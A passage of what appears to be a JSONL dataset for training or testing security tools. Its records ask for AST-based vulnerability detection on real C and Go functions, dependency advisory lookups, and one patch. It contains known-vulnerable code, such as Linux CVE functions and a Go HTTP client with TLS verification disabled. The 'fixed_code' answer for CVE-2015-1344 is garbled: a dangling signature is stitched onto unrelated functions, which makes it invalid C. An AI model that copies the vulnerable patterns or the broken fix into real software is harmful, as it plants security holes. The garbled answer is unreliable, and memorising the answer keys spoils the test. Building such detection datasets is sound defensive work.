\"cwe_name\": \"Improper Input Validation\",\n \"cve\": \"CVE-2014-0203\",\n \"fixed_code\": \"static void *proc_pid_follow_link(struct dentry *dentry, struct nameidata *nd)\\n{\\n\\tstruct inode *inode = dentry->d_inode;\\n\\tint error = -EACCES;\\n\\n\\t/* We don't need a base pointer in the /proc filesystem */\\n\\tpath_put(&nd->path);\\n\\n\\t/* Are we allowed to snoop on the tasks file descriptors? */\\n\\tif (!proc_fd_access_allowed(inode))\\n \\t\\tgoto out;\\n \\n \\terror = PROC_I(inode)->op.proc_get_link(inode, &nd->path);\\n out:\\n \\treturn ERR_PTR(error);\\n }\\n\",\n \"change_summary\": \"fix autofs/afs/etc. magic mountpoint breakage\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void sctp_unhash(struct sock *sk)\n{\n\t/* STUB */\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-426", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @anthropic-ai/claude-code\nInstalled version: <2.1.75\nSummary: Claude Code: Insecure System-Wide Configuration Loading Enables Local Privilege Escalation on Windows", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-5cwg-9f6j-9jvx\",\n \"cve\": \"CVE-2026-35603\",\n \"aliases\": [\n \"CVE-2026-35603\"\n ],\n \"cwe\": \"CWE-426\",\n \"ecosystem\": \"npm\",\n \"package\": \"@anthropic-ai/claude-code\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2.1.75\",\n \"fixed_version\": \"2.1.75\",\n \"finding\": \"Claude Code: Insecure System-Wide Configuration Loading Enables Local Privilege Escalation on Windows\",\n \"remediation\": \"Upgrade @anthropic-ai/claude-code to 2.1.75 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-1188", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/siyuan-note/siyuan/kernel\nInstalled version: <0.0.0-20260628153353-2d5d72223df4\nSummary: SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-5xfx-xj4h-5p7r\",\n \"cve\": \"CVE-2026-54158\",\n \"aliases\": [\n \"CVE-2026-54158\",\n \"GO-2026-5957\"\n ],\n \"cwe\": \"CWE-1188\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/siyuan-note/siyuan/kernel\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=0, <0.0.0-20260628153353-2d5d72223df4\",\n \"fixed_version\": \"0.0.0-20260628153353-2d5d72223df4\",\n \"finding\": \"SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()\",\n \"remediation\": \"Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260628153353-2d5d72223df4 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: eml-parser\nInstalled version: 3.0.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"eml-parser\",\n \"installed_version\": \"3.0.1\",\n \"note\": \"eml-parser 3.0.1 is at or above the fixed version for PYSEC-2026-2468; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-116", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: h3\nInstalled version: 2.0.0\nSummary: h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-wr4h-v87w-p3r7\",\n \"cve\": \"CVE-2026-86253\",\n \"aliases\": [\n \"CVE-2026-86253\"\n ],\n \"cwe\": \"CWE-116\",\n \"ecosystem\": \"npm\",\n \"package\": \"h3\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=2.0.0, <2.0.1-rc.15\",\n \"fixed_version\": \"2.0.1-rc.15\",\n \"finding\": \"h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read\",\n \"remediation\": \"Upgrade h3 to 2.0.1-rc.15 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void xen_netbk_tx_submit(struct xen_netbk *netbk)\n{\n\tstruct gnttab_copy *gop = netbk->tx_copy_ops;\n\tstruct sk_buff *skb;\n\n\twhile ((skb = __skb_dequeue(&netbk->tx_queue)) != NULL) {\n\t\tstruct xen_netif_tx_request *txp;\n\t\tstruct xenvif *vif;\n\t\tu16 pending_idx;\n\t\tunsigned data_len;\n\n\t\tpending_idx = *((u16 *)skb->data);\n\t\tvif = netbk->pending_tx_info[pending_idx].vif;\n\t\ttxp = &netbk->pending_tx_info[pending_idx].req;\n\n\t\t/* Check the remap error code. */\n\t\tif (unlikely(xen_netbk_tx_check_gop(netbk, skb, &gop))) {\n\t\t\tnetdev_dbg(vif->dev, \"netback grant failed.\\n\");\n\t\t\tskb_shinfo(skb)->nr_frags = 0;\n\t\t\tkfree_skb(skb);\n\t\t\tcontinue;\n\t\t}\n\n\t\tdata_len = skb->len;\n\t\tmemcpy(skb->data,\n\t\t (void *)(idx_to_kaddr(netbk, pending_idx)|txp->offset),\n\t\t data_len);\n\t\tif (data_len < txp->size) {\n\t\t\t/* Append the packet payload as a fragment. */\n\t\t\ttxp->offset += data_len;\n \t\t\ttxp->size -= data_len;\n \t\t} else {\n \t\t\t/* Schedule a response immediately. */\n\t\t\txen_netbk_idx_release(netbk, pending_idx);\n \t\t}\n \n \t\tif (txp->flags & XEN_NETTXF_csum_blank)\n\t\t\tskb->ip_summed = CHECKSUM_PARTIAL;\n\t\telse if (txp->flags & XEN_NETTXF_data_validated)\n\t\t\tskb->ip_summed = CHECKSUM_UNNECESSARY;\n\n\t\txen_netbk_fill_frags(netbk, skb);\n\n\t\t/*\n\t\t * If the initial fragment was < PKT_PROT_LEN then\n\t\t * pull through some bytes from the other fragments to\n\t\t * increase the linear region to PKT_PROT_LEN bytes.\n\t\t */\n\t\tif (skb_headlen(skb) < PKT_PROT_LEN && skb_is_nonlinear(skb)) {\n\t\t\tint target = min_t(int, skb->len, PKT_PROT_LEN);\n\t\t\t__pskb_pull_tail(skb, target - skb_headlen(skb));\n\t\t}\n\n\t\tskb->dev = vif->dev;\n\t\tskb->protocol = eth_type_trans(skb, skb->dev);\n\n\t\tif (checksum_setup(vif, skb)) {\n\t\t\tnetdev_dbg(vif->dev,\n\t\t\t\t \"Can't setup checksum in net_tx_action\\n\");\n\t\t\tkfree_skb(skb);\n\t\t\tcontinue;\n\t\t}\n\n\t\tvif->dev->stats.rx_bytes += skb->len;\n\t\tvif->dev->stats.rx_packets++;\n\n\t\txenvif_receive_skb(vif, skb);\n\t}\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-0217\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 34\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"while_statement\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 28,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 28,\n \"col\": 5\n },\n {\n \"token\": \"data_len\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 6\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 28,\n \"col\": 15\n },\n {\n \"token\": \"txp\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 17\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 28,\n \"col\": 20\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"field_identifier\",\n \"line\": 28,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 28,\n \"col\": 26\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 28,\n \"col\": 28\n },\n {\n \"token\": \"/* Append the packet payload as a fragment. */\",\n \"ast_node\": \"comment\",\n \"line\": 29,\n \"col\": 3\n },\n {\n \"token\": \"txp\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 3\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 30,\n \"col\": 6\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"field_identifier\",\n \"line\": 30,\n \"col\": 8\n },\n {\n \"token\": \"+=\",\n \"ast_node\": \"+=\",\n \"line\": 30,\n \"col\": 15\n },\n {\n \"token\": \"data_len\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 30,\n \"col\": 26\n },\n {\n \"token\": \"txp\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 4\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 31,\n \"col\": 7\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"field_identifier\",\n \"line\": 31,\n \"col\": 9\n },\n {\n \"token\": \"-=\",\n \"ast_node\": \"-=\",\n \"line\": 31,\n \"col\": 14\n },\n {\n \"token\": \"data_len\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 31,\n \"col\": 25\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 32,\n \"col\": 3\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 32,\n \"col\": 5\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 32,\n \"col\": 10\n },\n {\n \"token\": \"/* Schedule a response immediately. */\",\n \"ast_node\": \"comment\",\n \"line\": 33,\n \"col\": 4\n },\n {\n \"token\": \"xen_netbk_idx_release\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 34,\n \"col\": 24\n },\n {\n \"token\": \"netbk\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 34,\n \"col\": 30\n },\n {\n \"token\": \"pending_idx\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 32\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 34,\n \"col\": 43\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 34,\n \"col\": 44\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 35,\n \"col\": 3\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: n8n\nInstalled version: <1.123.55\nSummary: n8n: Stored XSS in Chat Trigger Node", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-42h7-m79w-wvg5\",\n \"cve\": \"CVE-2026-54302\",\n \"aliases\": [\n \"CVE-2026-54302\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"npm\",\n \"package\": \"n8n\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.123.55\",\n \"fixed_version\": \"1.123.55\",\n \"finding\": \"n8n: Stored XSS in Chat Trigger Node\",\n \"remediation\": \"Upgrade n8n to 1.123.55 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:7\nManifest: distro package manager (apt/apk)\nPackage: tomcat7\nInstalled version: 7.0.28-4+deb7u10\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:7\",\n \"package\": \"tomcat7\",\n \"installed_version\": \"7.0.28-4+deb7u10\",\n \"note\": \"tomcat7 7.0.28-4+deb7u10 is at or above the fixed version for DLA-823-1; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int pagemap_pte_range(pmd_t *pmd, unsigned long addr, unsigned long end,\n\t\t\t struct mm_walk *walk)\n{\n\tstruct vm_area_struct *vma;\n\tstruct pagemapread *pm = walk->private;\n\tpte_t *pte;\n \tint err = 0;\n \n \tsplit_huge_page_pmd(walk->mm, pmd);\n \n \t/* find the first VMA at or above 'addr' */\n \tvma = find_vma(walk->mm, addr);\n\tfor (; addr != end; addr += PAGE_SIZE) {\n\t\tu64 pfn = PM_NOT_PRESENT;\n\n\t\t/* check to see if we've left 'vma' behind\n\t\t * and need a new, higher one */\n\t\tif (vma && (addr >= vma->vm_end))\n\t\t\tvma = find_vma(walk->mm, addr);\n\n\t\t/* check that 'vma' actually covers this address,\n\t\t * and that it isn't a huge page vma */\n\t\tif (vma && (vma->vm_start <= addr) &&\n\t\t !is_vm_hugetlb_page(vma)) {\n\t\t\tpte = pte_offset_map(pmd, addr);\n\t\t\tpfn = pte_to_pagemap_entry(*pte);\n\t\t\t/* unmap before userspace copy */\n\t\t\tpte_unmap(pte);\n\t\t}\n\t\terr = add_to_pagemap(addr, pfn, pm);\n\t\tif (err)\n\t\t\treturn err;\n\t}\n\n\tcond_resched();\n\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2012-1179\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void isa_cirrus_vga_init(DisplayState *ds, uint8_t *vga_ram_base,\n unsigned long vga_ram_offset, int vga_ram_size)\n{\n CirrusVGAState *s;\n\n s = qemu_mallocz(sizeof(CirrusVGAState));\n\n vga_common_init((VGAState *)s,\n ds, vga_ram_base, vga_ram_offset, vga_ram_size);\n cirrus_init_common(s, CIRRUS_ID_CLGD5430, 0);\n s->console = graphic_console_init(s->ds, s->update, s->invalidate,\n s->screen_dump, s->text_update, s);\n /* XXX ISA-LFB support */\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int ber_write_contextual_tag(wStream* s, BYTE tag, int length, BOOL pc)\n{\n\tStream_Write_UINT8(s, (BER_CLASS_CTXT | BER_PC(pc)) | (BER_TAG_MASK & tag));\n\treturn ber_write_length(s, length) + 1;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"project\": \"FreeRDP\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static bool do_write_pids(pid_t tpid, const char *contrl, const char *cg, const char *file, const char *buf)\n {\n \tint sock[2] = {-1, -1};\n \tpid_t qpid, cpid = -1;\n\tFILE *pids_file = NULL;\n\tbool answer = false, fail = false;\n\n\tpids_file = open_pids_file(contrl, cg);\n\tif (!pids_file)\n\t\treturn false;\n\n\t/*\n\t * write the pids to a socket, have helper in writer's pidns\n\t * call movepid for us\n\t */\n\tif (socketpair(AF_UNIX, SOCK_DGRAM, 0, sock) < 0) {\n\t\tperror(\"socketpair\");\n\t\tgoto out;\n\t}\n\n\tcpid = fork();\n\tif (cpid == -1)\n\t\tgoto out;\n\n\tif (!cpid) { // child\n\t\tfclose(pids_file);\n\t\tpid_from_ns_wrapper(sock[1], tpid);\n\t}\n\n\tconst char *ptr = buf;\n\twhile (sscanf(ptr, \"%d\", &qpid) == 1) {\n\t\tstruct ucred cred;\n\t\tchar v;\n\n\t\tif (write(sock[0], &qpid, sizeof(qpid)) != sizeof(qpid)) {\n\t\t\tfprintf(stderr, \"%s: error writing pid to child: %s\\n\",\n\t\t\t\t__func__, strerror(errno));\n\t\t\tgoto out;\n\t\t}\n \n \t\tif (recv_creds(sock[0], &cred, &v)) {\n \t\t\tif (v == '0') {\n \t\t\t\tif (fprintf(pids_file, \"%d\", (int) cred.pid) < 0)\n \t\t\t\t\tfail = true;\n \t\t\t}\n\t\t}\n\n\t\tptr = strchr(ptr, '\\n');\n\t\tif (!ptr)\n\t\t\tbreak;\n\t\tptr++;\n\t}\n\n\t/* All good, write the value */\n\tqpid = -1;\n\tif (write(sock[0], &qpid ,sizeof(qpid)) != sizeof(qpid))\n\t\tfprintf(stderr, \"Warning: failed to ask child to exit\\n\");\n\n\tif (!fail)\n\t\tanswer = true;\n\nout:\n\tif (cpid != -1)\n\t\twait_for_pid(cpid);\n\tif (sock[0] != -1) {\n\t\tclose(sock[0]);\n\t\tclose(sock[1]);\n\t}\n\tif (pids_file) {\n\t\tif (fclose(pids_file) != 0)\n\t\t\tanswer = false;\n\t}\n\treturn answer;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"cve\": \"CVE-2015-1344\",\n \"fixed_code\": \"static bool do_write_pids(pid_t tpid, const char *contrl, const char *cg, const char *file, const char *buf)\\n/*\\n * Given host @uid, return the uid to which it maps in\\n * @pid's user namespace, or -1 if none.\\n */\\nbool hostuid_to_ns(uid_t uid, pid_t pid, uid_t *answer)\\n{\\n\\tFILE *f;\\n\\tchar line[400];\\n\\n\\tsprintf(line, \\\"/proc/%d/uid_map\\\", pid);\\n\\tif ((f = fopen(line, \\\"r\\\")) == NULL) {\\n\\t\\treturn false;\\n\\t}\\n\\n\\t*answer = convert_id_to_ns(f, uid);\\n\\tfclose(f);\\n\\n\\tif (*answer == -1)\\n\\t\\treturn false;\\n\\treturn true;\\n}\\n\\n/*\\n * get_pid_creds: get the real uid and gid of @pid from\\n * /proc/$$/status\\n * (XXX should we use euid here?)\\n */\\nvoid get_pid_creds(pid_t pid, uid_t *uid, gid_t *gid)\\n{\\n\\tchar line[400];\\n\\tuid_t u;\\n\\tgid_t g;\\n\\tFILE *f;\\n\\n\\t*uid = -1;\\n\\t*gid = -1;\\n\\tsprintf(line, \\\"/proc/%d/status\\\", pid);\\n\\tif ((f = fopen(line, \\\"r\\\")) == NULL) {\\n\\t\\tfprintf(stderr, \\\"Error opening %s: %s\\\\n\\\", line, strerror(errno));\\n\\t\\treturn;\\n\\t}\\n\\twhile (fgets(line, 400, f)) {\\n\\t\\tif (strncmp(line, \\\"Uid:\\\", 4) == 0) {\\n\\t\\t\\tif (sscanf(line+4, \\\"%u\\\", &u) != 1) {\\n\\t\\t\\t\\tfprintf(stderr, \\\"bad uid line for pid %u\\\\n\\\", pid);\\n\\t\\t\\t\\tfclose(f);\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\t*uid = u;\\n\\t\\t} else if (strncmp(line, \\\"Gid:\\\", 4) == 0) {\\n\\t\\t\\tif (sscanf(line+4, \\\"%u\\\", &g) != 1) {\\n\\t\\t\\t\\tfprintf(stderr, \\\"bad gid line for pid %u\\\\n\\\", pid);\\n\\t\\t\\t\\tfclose(f);\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t\\t*gid = g;\\n\\t\\t}\\n\\t}\\n\\tfclose(f);\\n}\\n\\n/*\\n * May the requestor @r move victim @v to a new cgroup?\\n * This is allowed if\\n * . they are the same task\\n * . they are ownedy by the same uid\\n * . @r is root on the host, or\\n * . @v's uid is mapped into @r's where @r is root.\\n */\\nbool may_move_pid(pid_t r, uid_t r_uid, pid_t v)\\n{\\n\\tuid_t v_uid, tmpuid;\\n\\tgid_t v_gid;\\n\\n\\tif (r == v)\\n\\t\\treturn true;\\n\\tif (r_uid == 0)\\n\\t\\treturn true;\\n\\tget_pid_creds(v, &v_uid, &v_gid);\\n\\tif (r_uid == v_uid)\\n\\t\\treturn true;\\n\\tif (hostuid_to_ns(r_uid, r, &tmpuid) && tmpuid == 0\\n\\t\\t\\t&& hostuid_to_ns(v_uid, r, &tmpuid))\\n\\t\\treturn true;\\n\\treturn false;\\n}\\n\\nstatic bool do_write_pids(pid_t tpid, uid_t tuid, const char *contrl, const char *cg,\\n\\t\\tconst char *file, const char *buf)\\n {\\n \\tint sock[2] = {-1, -1};\\n \\tpid_t qpid, cpid = -1;\\n\\tFILE *pids_file = NULL;\\n\\tbool answer = false, fail = false;\\n\\n\\tpids_file = open_pids_file(contrl, cg);\\n\\tif (!pids_file)\\n\\t\\treturn false;\\n\\n\\t/*\\n\\t * write the pids to a socket, have helper in writer's pidns\\n\\t * call movepid for us\\n\\t */\\n\\tif (socketpair(AF_UNIX, SOCK_DGRAM, 0, sock) < 0) {\\n\\t\\tperror(\\\"socketpair\\\");\\n\\t\\tgoto out;\\n\\t}\\n\\n\\tcpid = fork();\\n\\tif (cpid == -1)\\n\\t\\tgoto out;\\n\\n\\tif (!cpid) { // child\\n\\t\\tfclose(pids_file);\\n\\t\\tpid_from_ns_wrapper(sock[1], tpid);\\n\\t}\\n\\n\\tconst char *ptr = buf;\\n\\twhile (sscanf(ptr, \\\"%d\\\", &qpid) == 1) {\\n\\t\\tstruct ucred cred;\\n\\t\\tchar v;\\n\\n\\t\\tif (write(sock[0], &qpid, sizeof(qpid)) != sizeof(qpid)) {\\n\\t\\t\\tfprintf(stderr, \\\"%s: error writing pid to child: %s\\\\n\\\",\\n\\t\\t\\t\\t__func__, strerror(errno));\\n\\t\\t\\tgoto out;\\n\\t\\t}\\n \\n \\t\\tif (recv_creds(sock[0], &cred, &v)) {\\n \\t\\t\\tif (v == '0') {\\n\\t\\t\\t\\tif (!may_move_pid(tpid, tuid, cred.pid)) {\\n\\t\\t\\t\\t\\tfail = true;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n \\t\\t\\t\\tif (fprintf(pids_file, \\\"%d\\\", (int) cred.pid) < 0)\\n \\t\\t\\t\\t\\tfail = true;\\n \\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tptr = strchr(ptr, '\\\\n');\\n\\t\\tif (!ptr)\\n\\t\\t\\tbreak;\\n\\t\\tptr++;\\n\\t}\\n\\n\\t/* All good, write the value */\\n\\tqpid = -1;\\n\\tif (write(sock[0], &qpid ,sizeof(qpid)) != sizeof(qpid))\\n\\t\\tfprintf(stderr, \\\"Warning: failed to ask child to exit\\\\n\\\");\\n\\n\\tif (!fail)\\n\\t\\tanswer = true;\\n\\nout:\\n\\tif (cpid != -1)\\n\\t\\twait_for_pid(cpid);\\n\\tif (sock[0] != -1) {\\n\\t\\tclose(sock[0]);\\n\\t\\tclose(sock[1]);\\n\\t}\\n\\tif (pids_file) {\\n\\t\\tif (fclose(pids_file) != 0)\\n\\t\\t\\tanswer = false;\\n\\t}\\n\\treturn answer;\\n}\\n\",\n \"change_summary\": \"Implement privilege check when moving tasks\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-295", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following go code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "func client() *http.Client {\n\ttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n\treturn &http.Client{Transport: tr}\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-295\",\n \"cwe_name\": \"Improper Certificate Validation\",\n \"title\": \"Disabled TLS certificate verification\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 2\n ],\n \"sink_node_type\": \"short_var_declaration\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"tr\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \":=\",\n \"ast_node\": \":=\",\n \"line\": 2,\n \"col\": 4\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"http\",\n \"ast_node\": \"package_identifier\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 2,\n \"col\": 12\n },\n {\n \"token\": \"Transport\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 13\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 22\n },\n {\n \"token\": \"TLSClientConfig\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 23\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 2,\n \"col\": 38\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \"tls\",\n \"ast_node\": \"package_identifier\",\n \"line\": 2,\n \"col\": 41\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 2,\n \"col\": 44\n },\n {\n \"token\": \"Config\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 45\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 51\n },\n {\n \"token\": \"InsecureSkipVerify\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 52\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 2,\n \"col\": 70\n },\n {\n \"token\": \"true\",\n \"ast_node\": \"true\",\n \"line\": 2,\n \"col\": 72\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 2,\n \"col\": 76\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 2,\n \"col\": 77\n }\n ],\n \"explanation\": \"InsecureSkipVerify disables certificate validation, enabling MITM.\",\n \"remediation\": \"Do not disable TLS verification; verify certificates against a trusted CA store.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-400", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int v9fs_device_realize_common(V9fsState *s, Error **errp)\n{\n V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);\n int i, len;\n struct stat stat;\n FsDriverEntry *fse;\n V9fsPath path;\n int rc = 1;\n\n /* initialize pdu allocator */\n QLIST_INIT(&s->free_list);\n QLIST_INIT(&s->active_list);\n for (i = 0; i < (MAX_REQ - 1); i++) {\n QLIST_INSERT_HEAD(&s->free_list, &v->pdus[i], next);\n v->pdus[i].s = s;\n v->pdus[i].idx = i;\n }\n\n 